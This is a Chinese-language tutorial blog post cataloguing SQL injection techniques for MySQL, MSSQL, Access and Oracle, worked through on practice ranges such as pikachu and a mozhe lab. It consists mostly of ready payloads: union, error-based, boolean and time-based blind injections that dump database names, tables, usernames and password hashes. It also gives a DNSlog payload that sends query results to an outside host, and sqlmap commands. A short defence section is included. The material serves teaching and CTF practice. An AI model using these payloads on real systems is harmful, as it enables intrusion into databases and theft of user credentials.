SQL注入经验方法总结

news2024/11/23 11:31:46

SQL注入

先判断是哪种数据库。再进行后续操作。

SQL注入漏洞产生的原理

web应用程序,对用户输入的语句没有做严格的过滤,导致被输入的语句被拼接成恶意代码的SQL语句进入数据库中查询,修改信息等。

所以SQL注入漏洞需要的条件:

1、可控的参数

2、参数能带入到数据库,与数据库进行交互

SQL注入漏洞的危害

1、获取管理员账号密码,控制数据库

2、数据库信息泄露,修改等

3、导致服务器被控制。

SQL注入漏洞防护

1、最小化权限,给数据库设置最小权限

2、对用户输入的参数进行严格的过滤

3、使用预编译语句和参数化查询

4、不要暴露SQL语句错误的信息

SQL注入分类

(1)注入请求方法类型分类

根据注入请求方法类型,可以分为GET注入、POST注入、HTTP头注入

GET注入:HTTP请求方法为GET,参数显示在url中,如?id=1  id注入点
POST注入:HTTP请求方法为POST,参数在请求体中,注入点在请求体中
HTTP头注入:注入点在HTTP头中,如ua、cookie、referer等HTTP头中

(2)根据注入点参数分类

有整数型注入和字符型注入。

整数型注入:参数为数字
字符型注入:参数为字符,需要注释闭合。

在字符型注入中,有单引号闭合,双引号闭合,小括号,大括号闭合等

(3)根据注入方式分类

union联合查询注入方式
报错注入方式
布尔盲注方式
时间盲注方式
dnslog注入方式
宽字节注入方式
http头注入方式
order by注入方式
undate注入方式
insert注入方式
二次注入
堆叠注入
等等方式(后续再补充)

(1)union联合查询方式

适用于页面出现回显位置。

-1 union select 1,2,group_concat(schema_name) from information_schema.schemata  查询所有数据库的名称
-1 union select 1,2,database() 查询当前数据库名称
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名'  查询数据库下的所有表名信息
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'   查询数据库下某表的所有字段信息
-1 union select 1,2,group_concat(列名1,'<br>',列名2) from 库名.表名   查询数据

注:limit m,n 可以控制输出的多少。 m表示从m开始,n表示输出多少。
比如limit 0,1 就是从0行开始,输出1行。

(2)报错注入方式

适用于页面没有回显位置,但是有SQL语句出错的信息。

  • 常用函数:updatexml()、concat()

  • 语法:updatexml(XML_documen,XPath_string,new_value)、

  • 实例:updatexml(1,concat(‘!’,database(),‘!’),1)

    在updatexml函数中第一个参数为需要更新的名称,第二个参数为路径,第三个参数为更新的名称
    concat是拼接函数,如果路径中存在特殊符号,比如~,!等就会报错;同时显示路径参数的内容。
    实例中,有特殊符号!,所以会报错,并且把数据库名称显示出来。
    
    ps:由于updatexml()返回的字符串长度最多为31个字符,所以这里可以通过substr函数分两步来截取。
    1、select updatexml(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),1,31)),1);
    从1个字符开始截取,截取31个字符。
    2、select updatexml(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),32,31)),1);
    从32个字符开始,截取31个字符。
    

(3)布尔盲注方式

布尔盲注适用于,没有回显位置,不能使用union联合查询注入方式,没有回显SQL语句错误的信息,也不能使用报错注入方式。

但是会回显正确的页面和错误的页面。

这里需要注意的是,在手工布尔盲注的时候,我们需要先找到一个参数是查询正确的页面,比如id=1,先找到正确的页面,然后再正确的页面上构造闭合注释,然后才去进行猜测数据。
  • 常用函数:length(),substr(),ascii()

    length()函数:返回字符串长度
    substr()函数:截取字符串   语法substr(参数1,参数2,参数3)
    参数1是要截取的字符串,参数2是从哪里开始截取,参数3是要截取多少
    ascii()函数:将字符转化为ascii码
    
  • 实例:

    1、查询数据库的长度:1' and (select length(database())>1)--+
    
    2、查询数据库的名称:1' and (ascii(substr((database()),1,1)))>1 --+
    
    3、查询数据库表的数量:1' and (select count(*) table_name from information_schema.tables where table_schema='库名')>1 --+
    
    4、查询表的长度:1' and (select length(table_name) from information_schema.tables where table_schema='库名' limit m,n)>1 --+
    
    ps:limit m,n   m是从哪里开始,n是输出多少   通过修改m的值,则可以把所有的表都查询长度 
    
    5、查询表的名称:1' and (ascii(substr((select table_name from 
    information_schema.tables where table_schema='库名' limit m,n),1,1)))>1 --+
    
    ps:同样是修改limit m,n 控制第几张表  而通过控制substr函数的参数2,修改表名称的第几位
    
    6、查询字段的数量:1' and (select count(*) column_name from information_schema.columns where table_schema='库名' and table_name='表名')>1 --+
    
    7、查询字段的长度:1' and (select length(column_name) from information_schema.columns where table_schema='库名' and table_name='表名' limit m,n)>1 --+
    
    8、查询字段的名称:1' and (ascii(substr((select column_name from 
    information_schema.columns where table_schema='库名' and table_name='表名' limit m,n),1,1)))>1 --+
    
    9、查询数据的数量:1' and (select count(*) 字段名 from 库名.表名)>1 --+
    
    10、查询数据:1' and (ascii(substr((select 字段名 from 库名.表名 limit 0,1),1,1)))>1 --+
    

(4)时间盲注方式

时间盲注适用于,不能使用union联合查询(没有回显位置),不能使用报错注入(没有返回错误的sql语句),也不能使用布尔盲注(没有正确的页面和错误的页面),也就是不管语句是对的,还是错的,都是回显一样的页面。这时可以使用时间盲注。

这里需要注意的是,时间盲注,也需要找到一个正确的数据,然后and的时候,后面接上需要判断的语句。
所以需要if函数判断对错、substr函数截取字符、ascii函数转换字符、slee函数
  • 常用函数

    if(ex1、ex2、ex3)

    当ex1正确的时候,执行ex2,否则执行ex3
    
  • 实例

    0、判断注入类型:1' and sleep(5) --+
    
    1、判断数据库长度:1' and (if(length(database())=7,sleep(5),1)) --+
    
    2、判断数据库名称:1' and (if((ascii(substr((database()),1,1))=112),sleep(5),1)) --+
    
    3、判断表的数量:1' and (if((select count(*) table_name from 
    information_schema.tables where table_schema='数据库名')=5,sleep(5),1)) --+
    
    4、判断表的长度:1' and (if((select length(table_name) from information_schema.tables where table_schema='库名' limit 0,1)=8,sleep(5),1)) --+
    
    5、判断表的名称:1' and (if(ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1))=104,sleep(5),1)) --+
    
    6、判断字段的数量:1' and (if((select count(*) column_name from information_schema.columns where table_schema='库名' and table_name='表名')=6,sleep(5),1)) --+
    
    7、判断字段的长度:1' and (if((select length(column_name) from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1)=2,sleep(5),1)) --+
    
    8、判断字段的名称:1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),1,1))=105,sleep(5),1) --+
    
    9、判断数据的数量:1' and if((select count(*) 字段名 from 库名.表名)=3,sleep(5),1) --+
    
    10、判断数据的长度:1' and if((select length(字段名) from 库名.表名 limit 0,1)=5,sleep(5),1)--+
    
    11、判断数据的名称:1' and if((ascii(substr((select 字段名 from 库名.表名 limit 0,1),1,1))=97),sleep(5),1)--+
    

(5)dnslog注入方式

dnslog注入适用于,存在布尔盲注的时候,时间盲注是布尔盲注不可用,但是dnslog注入相反,存在布尔盲注的时候,一个一个的去测很麻烦,这时就可以使用dnslog注入。

  • 需要的条件:

    1、公网服务器

    2、开启secure_file_priv读写权限

    3、window平台,使用UNC路径

    load_file函数:是读取文件并返回文件内容为字符串
    
    
  • 实例

    首先去dnslog.cn获取一个服务器,dnslog有时候打不开。
    这里使用dig.pm
    比如:获取得到 6a182d34.ipv6.1433.eu.org.
    select load_file("\\6a182d34.ipv6.1433.eu.org.\abc");
    
    1、获取数据库信息:1' and load_file(concat('\\\\',(select database()),'.4wf899.dnslog.cn\\abc')) --+
    
    ps:注意服务器前面要加上 . 
    为什么需要四个\\\\,\可能会被当成转移字符,所以再\前面再加上\就表示这里是一个\符号,而不是转移字符。
    
    2、获取表名信息:1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='库名' limit 0,1),'.6a182d34.ipv6.1433.eu.org.\\abc')) --+
    
    3、获取列名信息:1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),'.6a182d34.ipv6.1433.eu.org.\\abc')) --+
    
    4、获取数据:1' and load_file(concat('\\\\',(select password from 库名.表名 limit 0,1),'.6a182d34.ipv6.1433.eu.org.\\abc')) --+
    
    ps:在获取密码的时候,由于密码可能太长,导致无法带出,所以需要截取函数substr。
    
    1' and load_file(concat('\\\\',substr((select password from 库名.表名 limit 2,1),1,31),'.6a182d34.ipv6.1433.eu.org.\\abc')) --+
    从第一位开始截取31位,发现能dnslog能带出了,然后再从32位开始截取31位,这样就能将密码加密的md5带出了。
    

(6)宽字节注入方式

什么是宽字节?宽字节是相对于ascii这样的单字节编码来说的,常见的宽字节有GBK,utf-8等.GBK汉字占两个字节,utf-8汉字占三个字节

宽字节注入适用于,为了防止SQL注入,使用了转义函数(addslashes/mysql_real_escape_string/mysql_escape_string等,还有一个情况是魔术引号,magic_quote_gpc,不过魔术引号已经在高版本的php中去除了) 将客户输入的特殊字符(’ " 等测试sql注入字符)转义为\ ’ 的情况下

所以在使用宽字节注入的时候,必须要的一个条件就是MySQL数据库使用GBK编码。

在MySQL数据库使用宽字节(如GBK编码)的时候,会认为两个字符是一个汉字,当我们输入单引号的时候,转义函数会将单引号转义为\ ' ,而如果我们在\的前面再加上一个字符,那么加上的这个字符就和\组成了一个汉字,而后面的单引号就逃逸出来了
这里\的url编码为%5c,也就是在%5c前面加上一个大于ascii码的字符就可以与%5c变成一个字符.如%df
所以%df%5c就是一个中文字符'運'
如果%df被禁止了,怎么办?还可以使用%de,%de%5c组成中文字符'轡'
  • 实例
0、在post请求方法、字符型注入类型、宽字节注入+union注入方式下

1、判断字段数:1%df' and 1=2 order by 1,2 --+  

2、判断回显位置:1%df' and 1=2 union select 1,2 --+

3、判断数据库信息:1%df' and 1=2 union select 1,database() --+

4、判断表名信息:1%df' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

5、判断列名信息:1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+

ps:这里查询列名的时候,不得不用到',那么这里有两个方法,可以绕过单引号
一、子嵌套法:就像上面的语句,在where条件列名的时候,再查询一次,并且通过limit来控制第几张表
二、将库名、表名转化为hex

5、判断列名:1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x68747470696E666F --+

6、判断数据:1%df' and 1=2 union select 1,group_concat(id,userid) from pikachu.httpinfo --+
  • 利用sqlmap跑
1、检测是否存在宽字节注入:sqlmap -u "http://ctf.aabyss.cn:80/vul/sqli/sqli_widebyte.php?__CBK=3f5392529cfb9e2c01d71d0b4dc9d4ad21688026197_3146" --data="name=1 * ^&submit=%E6%9F%A5%E8%AF%A2" --batch --tamper unmagicquotes

ps:利用脚本 --tamper unmagicquotes检测是否存在宽字节注入

2、爆数据库名:

(7)http头注入方式

什么是http头注入?有时候,我们的输入的参数会被防护,但是网站会记录我们的cookie、user-agent、referer等信息,而且与数据库交互,并未对我们的http头信息进行过滤,这时我们就可以在http头这里使用sql注入。

在手工http头注入的时候,需要配合我们的报错注入来结合。
所以需要使用我们的updatexml函数。
updatexml(1,concat(0x7e,(查询的语句),0x7e),1)
  • 实例
在pikachu靶场中的http头注入练习,首先需要登录账号。
登陆之后,发现信息被记录,这时候使用抓包,然后刷新页面。得到user-agent、referer等信息。
http头注入,不能使用union联合查询方式注入。

1、查询数据库名:在对应的http头,1' and updatexml(1,concat(0x7e,database()),1) or'

ps:为何要使用or' 去闭合后面的语句,而不能使用注释符,我也未搞清楚

2、查询表名:1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or'

3、查询字段名:1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu'),0x7e),1) or'

4、查询数据:1' and updatexml(1,concat(0x7e,(select group_concat(username) from pikachu.users),0x7e),1) or'

ps:如果是查密码,而不是账户,密码一般是md532位加密,但是updatexml回显只能31位,所以就需要substr函数去截取。

5、查询密码:1' and updatexml(1,concat(0x7e,substr((select group_concat(password) from pikachu.users),1,31),0x7e),1) or'

1' and updatexml(1,concat(0x7e,substr((select group_concat(password) from pikachu.users),32,31),0x7e),1) or'
  • 利用sqlmap跑
1、检查是否存在http头注入:sqlmap -u "http://challenge-227d15088418bb53.sandbox.ctfhub.com:10800/" --level=3 --batch

ps:在level等级为2的时候会检查cookie是否存在注入,在level等级为3的时候会检查http头是否存在注入。

2、曝出数据库:sqlmap -u "http://challenge-227d15088418bb53.sandbox.ctfhub.com:10800/" --level=3 --batch --dbs

3、曝出表名:sqlmap -u "http://challenge-227d15088418bb53.sandbox.ctfhub.com:10800/" --level=3 --batch -D ”库名“ --tables

4、曝出字段名:sqlmap -u "http://challenge-227d15088418bb53.sandbox.ctfhub.com:10800/" --level=3 --batch -D ”库名“ -T ”表名“ --columns

5、曝出数据:sqlmap -u "http://challenge-227d15088418bb53.sandbox.ctfhub.com:10800/" --level=3 --batch -D ”库名“ -T ”表名“ -C ”字段名“ --dump

(8)insert注入方式

insert/undate/delete 和select不同之处在于,他们是一个操作,而不是查询,所以不能与union做联合查询,可以通过报错的方式回显。

insert增,通常用于注册的时候,插入我们的sql语句;

在文本框中输入的只是账号密码等,实际执行的sql语句是:

insert into 表名 (字段1,字段2,字段3) vlaues (1,2,3);

delete删,通常用于留言板,或者删除一些其他的数据时;

实际执行的sql语句是:

delete from 表名 where 条件=xx;

update改, 通常用于修改个人信息的时候,

实际执行的sql语句是:

update 表名 set 字段1=xxx,字段2=xxx,字段3=xxx where 条件=xxx;

insert在MySQL数据库中是增加的意思。用pikachu数据库为例子。
如下图,在pikachu数据库中的member表下,有id,username,pw,sex,phonenum,address,email

所以我们插入数据的时候是这样写
insert into 表名 (id,username,pw,sex,phonenum,address,email) values (8,'afan','123456',1,2,3,4)

注意如果插入的数据是字符,那么需要单引号,查询表下的结构,使用desc 表名即可

image-20230629180108867

所以pikachu靶场中insert注入,在注册时,插入我们的sql语句。
1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and'

ps:这里注意,因为在注册的时候,在用户这一栏插入语句,所以语句的两头应该有' '

所以正常的语句应该如下:
'1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and''

1、查询数据库名字:1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and'

2、查询表名:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),0x7e),1) and'

3、查询字段名:1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='users' limit 0,1),0x7e),1) and'

4、查询数据:1' and updatexml(1,concat(0x7e,(select username from pikachu.users limit 0,1),0x7e),1) and'

ps:同样的问题,报错注入,在查询密码的时候,只能回显31位,所以需要使用substr截取函数,来截取前31位,然后从32位再截取。

查询密码:1' and updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),1,31),0x7e),1) and'

1' and updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),32,31),0x7e),1) and'

(9)update注入方式

update在MySQL数据库,是更新的意思。同样以pikachu数据库为例子。
所以我们更新数据的语句是

update 表名 set 字段名1=xx,字段名2=xx where 条件=xx

ps:如果字段的类型是字符型,那么需要加上‘ ’
例如:update member set username='chaofan',pw='111111',sex='boy',phonenum='123',address='yanhe',email='9348' where id=28;
  • 实例
首先使用注册的账号密码,从update注入页面登录到pikachu

这里其实,还是利用修改信息的时候,插入报错语句,让其进行报错回显。

1、查询数据库名字:1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and'

2、查询表名:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),0x7e),1) and'

3、查询字段名:1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='users' limit 0,1),0x7e),1) and'

4、查询数据:1' and updatexml(1,concat(0x7e,(select username from pikachu.users limit 0,1),0x7e),1) and'

ps:同样的问题,报错注入,在查询密码的时候,只能回显31位,所以需要使用substr截取函数,来截取前31位,然后从32位再截取。

查询密码:1' and updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),1,31),0x7e),1) and'

1' and updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),32,31),0x7e),1) and'

(10)delete注入

delete在MySQL数据库,是删除的意思。同样以pikachu数据库为例子。
所以我们删除数据的语句是:
delete from 表名 where 条件=xxx;

所以我们删除的时候,实际上是在执行这一条语句。
所以在delete注入的时候,插入sql语句:

delete from 表名 where 条件=xxx or updatexml(1,concat(0x7e,(database()),0x7e),1)

or逻辑或,一个条件为真,则为真。
  • 实例
以pikachu为例子: 
在delete注入模块,抓点击删除的包。然后发现在url中有id=56,单引号之后,发现报错,说明存在sql注入。

1、曝出数据库名:56 or updatexml(1,concat(0x7e,database(),0x7e),1) 

url编码:
56+or+updatexml(1,concat(0x7e,database(),0x7e),1)+

ps:将代码改为url编码的格式,不然会报错,因为这是GET请求方式

2、曝出表名:56 or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),0x7e),1) 

url编码:
56+or+updatexml(1,concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema%3d'pikachu'+limit+3,1),0x7e),1)+

3、查询字段名:56 or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='users' limit 0,1),0x7e),1)

url编码:
56+or+updatexml(1,concat(0x7e,(select+column_name+from+information_schema.columns+where+table_schema%3d'pikachu'+and+table_name%3d'users'+limit+1,1),0x7e),1) 

4、查询数据:56 or updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),1,31),0x7e),1)

ps:同样的问题,报错注入,在查询密码的时候,只能回显31位,所以需要使用substr截取函数,来截取前31位,然后从32位再截取。

查询密码:56 or updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),1,31),0x7e),1)

url编码:56+or+updatexml(1,concat(0x7e,substr((select+password+from+pikachu.users+limit+0,1),1,31),0x7e),1) 

56 or updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),32,31),0x7e),1)

url编码:
56+or+updatexml(1,concat(0x7e,substr((select+password+from+pikachu.users+limit+0,1),32,31),0x7e),1) 

1、MySQL数据库

1、判断注入点和注入类型

首先呢先判断有没有注入点。

单引号 、双引号、小括号、大括号等等字符判断。

方法一:

如果存在注入点。再进一步判断注入类型。

and 1=1 和 and 1=2 查看返回的页面是否一样。一样为字符型,不一样为数字型。

原因:‘and 1=1’ ‘and 1=2’ 字符型会有单引号把输入的字符包起来 所以不会逻辑问题上不会报错。

方法二:

还有一种方法,单引号发现报错之后,在单引号后面加上注释符号。如果回显正常了,那么是字符型,如果加上注释之后,还是报错,那么是数字型。

**原因:**输入的单引号,去闭合前面的单引号,后面的那个单引号被注释符注释了。所以闭合完成。

2、MySQL数据库基本操作

mysql -u root -p 进入mysql数据库

\q 退出MySQL数据库

show databases; 查看所有数据库名称

use 数据库名字; 使用某数据库

select database(); 查询当前使用数据库名称

show tables; 查看当前数据库下的所有表

select version(); 查询当前数据库版本

select user(); 查询当前用户

select now(); 查询当前时间

desc 表名; 查询表的结构

select * from 表名; 查询表中的所有记录

select user,password from 表名; 只查询表中user和password的记录

select user,password from 表名 where user=‘xx’; 只查询user=xx的user和password信息

万能密码:

admin

’ or ‘1’=‘1’ or是逻辑或的意思,只要有一个条件为真,它就为真。

2、Access数据库

(1)手工注入

access数据库只有一个数据库。

1、判断注入类型

可以输入,单引号,and 1=1 ,and 1=2判断

2、判断字段数

order by

3、查询表名

使用union联合查询,查询表名,但是需要注意的是,表名需要自己猜解,所以遇到access数据库,直接上sqlmap跑

4、查询字段名

这里字段名也需要猜解,然后查询 字段名 from 表名

(2)偏移注入

偏移注入,适用于,已经知道了表名,但是不知道字段名的情况下。

1、先判断一个*等于几个字段

由于已经知道了,字段数,表名

所以直接将最大的字段数22,改为*,访问页面,看正常与否,然后删除,并将21改为 * ,直到页面正常为止,如果此时字段数已经为16了,那么一个 * 就代表6个字段。

一级偏移注入:(减去6个字段)

UNION SELECT 1,2,3,4,5,6,7,8,9,10,*from (admin as a inner join admin as b on a.id = b.id)

二级偏移注入:(再减去6个字段)

UNION SELECT 1,2,3,4,a.id,b.id,c.id,*from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

3、Mssql数据库

mssql数据库,又叫sqlserve数据库。

Mssql数据库的注入与MySQL数据库差不多。

Mssql数据库也自带information_schema.tables columns schemata

注入过程也大同小异,其中

数据库名db_name()

用户登陆名suser_name(),sa是最高权限。

sysobjects 存放了所有的表名

syscolumns 存放了所有的字段名

有回显点,union注入

方法一:

使用MySQL数据库的规则查询

(1)判断注入类型

这里还是与MySQL数据库一样判断

(2)判断字段数

order by

(3)查看回显位置

在查看回显位置的时候,就有点不同了,mssql数据库,对类型比较严格,我们这里可以采用猜解的思路。

先 1 and 1=2 union all select null,null,null ,用null去填充位置,

然后将第一个null改为1,看看是否报错,如果报错,那么则1这个位置就是字符型,在书写的时候就得加上’ '。

1 and 1=2 union all select ‘a’,null,null

(4)查询表名

在查询表名的时候,需要注意。

1 and 1=2 union all select 1,table_name,3 from information_schema.tables

这一句可以查找一个表,比如为flags,那么我们要查第二张表怎么查?

1 and 1=2 union all select 1,table_name,3 from information_schema.tables where table_name<>'flags'
ps: <>这个符号是不等于的意思

比如第二张为news,那么第三张表怎么查?

1 and 1=2 union all select 1,table_name,3 from information_schema.tables where table_name<>'flags' and table_name<>'news'

(5)查询字段名

同查询表名一样。

查询flags表里的第一个字段

1 and 1=2 union all select 1,column_name,3 from information_schema.columns where table_name='flags'

如果查出来,第一个字段名为flag,要查询表里面的第二个字段

1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='flags' and column_name<>'flag'

(6)查询数据

1 and 1=2 union select 1,flag,3 from flags

union select 字段名 from 表名

这就是我们Mssql数据库使用MySQL数据库的规则查询数据的过程

方法二:

Mssql数据库自带表sysobject,在表中,有我们数据库的所有表名。

在sysobject表中,需要注意三个字段,一个字段是name,第二个字段是id(id需要在后面查询字段名的时候使用),还有一个是xtype,xtype是类型的意思,而xtype=‘u’,意思就是用户自己创建的表

1、查询表名

1 and 1=2 union select id,name,3 from sysobject where xtype='u'

这个意思就是我们要查询,id,name,而且xtype=‘u’,从我们自带的sysobject表中查。

比如查出来的第一张表是901578250 news

要查询第二张表名

1 and 1=2 union select id,name,3 from sysobject where xtype='u' and name<>'news'

2、查询字段名

得到id值之后,下一步要去查它的字段名。

1 and 1=2 union select 1,name,3 from syscolumns where id=查到的id值

3、查数据

1 and 1=2 union select 1,name,3 from flags

实例

以墨者靶场的sqlserver靶场为例子

方法一:

1、判断注入类型

使用and 1=1 和and 1=2

发现回显不一样,这是一个整数型的sqlserver注入。

2、判断字段数

order by

这里order by 2 的时候正常 3的时候错误 4的时候又正常

应该是一个小bug,所以暂时不需要管,看成4个字段即可。

3、判断回显位置

这里需要注意,与MySQL数据库不同的地方是union select不能用了,而是使用union all select

id=2 and 1=2 union all select null,null,null,null
然后不断的修改null,查看null位置处是整数还是字符。
id=2 and 1=2 union all select 1,2,'3',4
4、判断表名
id=2 and 1=2 union all select 1,2,table_name,4 from information_schema.tables

manage

id=2 and 1=2 union all select 1,2,table_name,4 from information_schema.tables where table_name<>'manage'

announcement

5、判断字段名
id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='manage'

id

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='manage' and column_name<>'id'

username

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='manage' and column_name<>'id' and column_name<>'username'

password

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='manage' and column_name<>'id' and column_name<>'username' and column_name<>'password'

另外一个表announcement

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='announcement' 

id

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='announcement' and column_name<>'id'

title

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='announcement' and column_name<>'id' and column_name<>'title'

contents

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='announcement' and column_name<>'id' and column_name<>'title' and column_name<>'contents'

times

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='announcement' and column_name<>'id' and column_name<>'title' and column_name<>'contents' and column_name<>'times'
6、查询数据
id=2 and 1=2 union all select 1,username,password,4 from  manage

admin_mz

72e1bfc3f01b7583 md5撞库为 97285101

注意啊,这里得到的密码,还是md5加密的,先去md5撞库得到密码

恭喜你 admin_mz 成功登录用户管理后台,KEY: mozhe2fb22b308899e00cd55350d36a9

方法二:

1、查询表名

需要利用sysobjects表

id=2 and 1=2 union all select 1,id,name,4 from sysobjects where xtype='u'

得到id=5575058

表名=manage

id=2 and 1=2 union all select 1,id,name,4 from sysobjects where xtype='u' and name<>'manage'

id=101575400

表名=announcement

2、查询字段名

得到id之后,就可以查询字段名了,因为每个id对应的字段名不一样

这里需要使用另外一个表,syscolumns

id=2 and 1=2 union all select 1,2,name,4 from syscolumns where id=5575058

id

id=2 and 1=2 union all select 1,2,name,4 from syscolumns where id=5575058 and name<>'id'

username

id=2 and 1=2 union all select 1,2,name,4 from syscolumns where id=5575058 and name<>'id' and name<>'username'

password

3、查询数据

得到表名manage,字段名username,password

id=2 and 1=2 union all select 1,username,password,4 from manage 

得到账号密码

admin_mz

72e1bfc3f01b7583

报错注入

与MySQL一样,报错注入,适用于没有回显点的情况。

在报错注入之前,先了解一个函数

convert()函数 ,是把日期转换为新数据类型的通用函数。

原理:

and id= convert(int,@@version)

对于convert(int,@@version),convert函数首先会执行第二个参数指定的SQL查询,然后尝试将查询结果转换为int类型,但是由于这个SQL查询的结果是varchar类型,无法进行指定的转换,所以,convert函数会曝出一个SQL server错误消息,这样就能得到这个SQL查询的结果了。

convert(int,@@version) 获取版本信息
convert(int,db_name) 数据库名字
convert(int,user) 当前用户名
convert(int,@@SERVERNAME) 获取有关服务器主机的信息

1、查询表名

id=2 and convert(int,(select top 1 name from sysobjects where xtype='u'))

top 1这里就是限制输出一条的意思。、

同样的,如果想继续查下面的表

id=2 and convert(int,(select top 1 name from sysobjects where xtype='u')) where name<>'表名'

2、查询字段名

由于不知道id了,所以在查询表名的时候,还是采用MySQL数据库的方法

id=2 and convert(int,(select top 1 column_name from information_schema.columns where table_name='表名'))

如果不止一条数据,

id=2 and convert(int,(select top 1 column_name from information_schema.columns where table_name='表名' and column_name<>'字段名'))

3、查询数据

id=2 and convert(int,(select top 1 字段名 from 表名))

最后推荐一篇关于mssql数据库,写的很全面的文章

https://www.anquanke.com/post/id/248896#h3-4

4、Oracle数据库

一般在大型企业会用到Oracle数据库,Oracle很讲究语法规则,Oracle有一个Dual(实表)虚表,用来拼凑语法规则的,分页查询使用top

1、联合查询

Dual是一个虚表,没有什么特别的意义,为了符合查询语法而诞生的。

查询用户名: select user from dual

加减法:select 9+1 from dual

Select * from all_tables 查询所有的表

Select * from user_all_tables 查询当前用户的表

Select * from all_tab_columns 查询所有字段

Select * from user_tab_columns 查询当前用户的字段

Select * from v$version 查询版本

rownum是限制输出的,比如news 表里面有3条数据

比如:select * from news where rownum=1 那么就只输出第一行

select * from news where rownum=1 and xx<>xx 就可以输出第二行

1、判断注入类型

这里的判断类型与MySQL一样

单引号,and 1=1,and 1=2等

2、判断字段数

order by

3、判断回显点

这里判断回显的类型的时候,跟MySQL数据库不一样,同样需要null占位,然后一一判断。

1 and 1=2 union select '1','2' from dual

4、查询表名

1 and 1=2 union select 1,table_name,3 from user_all_tables where rownum=1

继续查询第二条

1 and 1=2 union select 1,table_name,3 from user_all_tables where rownum=1 and table_name<>'xxx'

5、查询字段名

1 and union select 1,column_name,3 from user_tab_columns where table_name='xxx' and rownum=1

查询第二条数据

1 and union select 1,column_name,3 from user_tab_columns where table_name='xxx' and rownum=1 and column_name<>'xxx'

。。。。。。

6、查询数据

1 and union select 1,字段名,3 from 表名

2、报错注入

首先需要了解一个函数

CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))  

这是去查询关于主题的关键词,然后因为查询失败(应该是用户没有查询和创建的权限,默认情况没有创建,爆出未查询到的结果从而曝出查询的内容)

比如:

1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) 查询数据库版本

为什么要1=?

因为Oracle的语言严谨,where后面跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件。

1、查表名

1 and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum cf,table_name from user_all_tables) where cf=2)

要查其他表,则修改cf=xx就行

2、查字段名

1 and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum cf,column_name from user_tab_columns) where cf=2)

获取用户名 id=1 and 1=ctxsys.drithsx.sn(1,‘~’%7c%7c(select user from dual)%7c%7c’~') --+

获取表名 id=1 and 1=ctxsys.drithsx.sn(1,‘~’%7c%7c(select table_name from all_tables where rownum=1 and owner=‘TEST’)%7c%7c’~') --+

获取字段名id=1 and 1=ctxsys.drithsx.sn(1,‘~’%7c%7c(select column_name from all_tab_columns where owner=‘TEST’ and table_name=‘USERS’ and rownum=1)%7c%7c’~') --+

获取数据id=1 and 1=ctxsys.drithsx.sn(1,‘~’%7c%7c(select username from test.users where rownum=1)%7c%7c’~') --+

oracle数据库详解:https://cloud.tencent.com/developer/article/1944116

案例

联合查询

1、判断注入类型

and 1=1 和 and 1=2 返回不一样

是一个整数型注入

2、查询字段数

order by

3、查看回显类型

1 and 1=2 union select null,null from dual

dual表,任何人都可以查,这么写只是为了满足Oracle的语法规则

然后不断的改变null类型,从整数到字符。

4、查询数据库名

1 and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual

SYS

1 and 1=2 union select (select distinct owner from all_tables where rownum=1 and owner<>'SYS'),'2' from dual

OUTLN

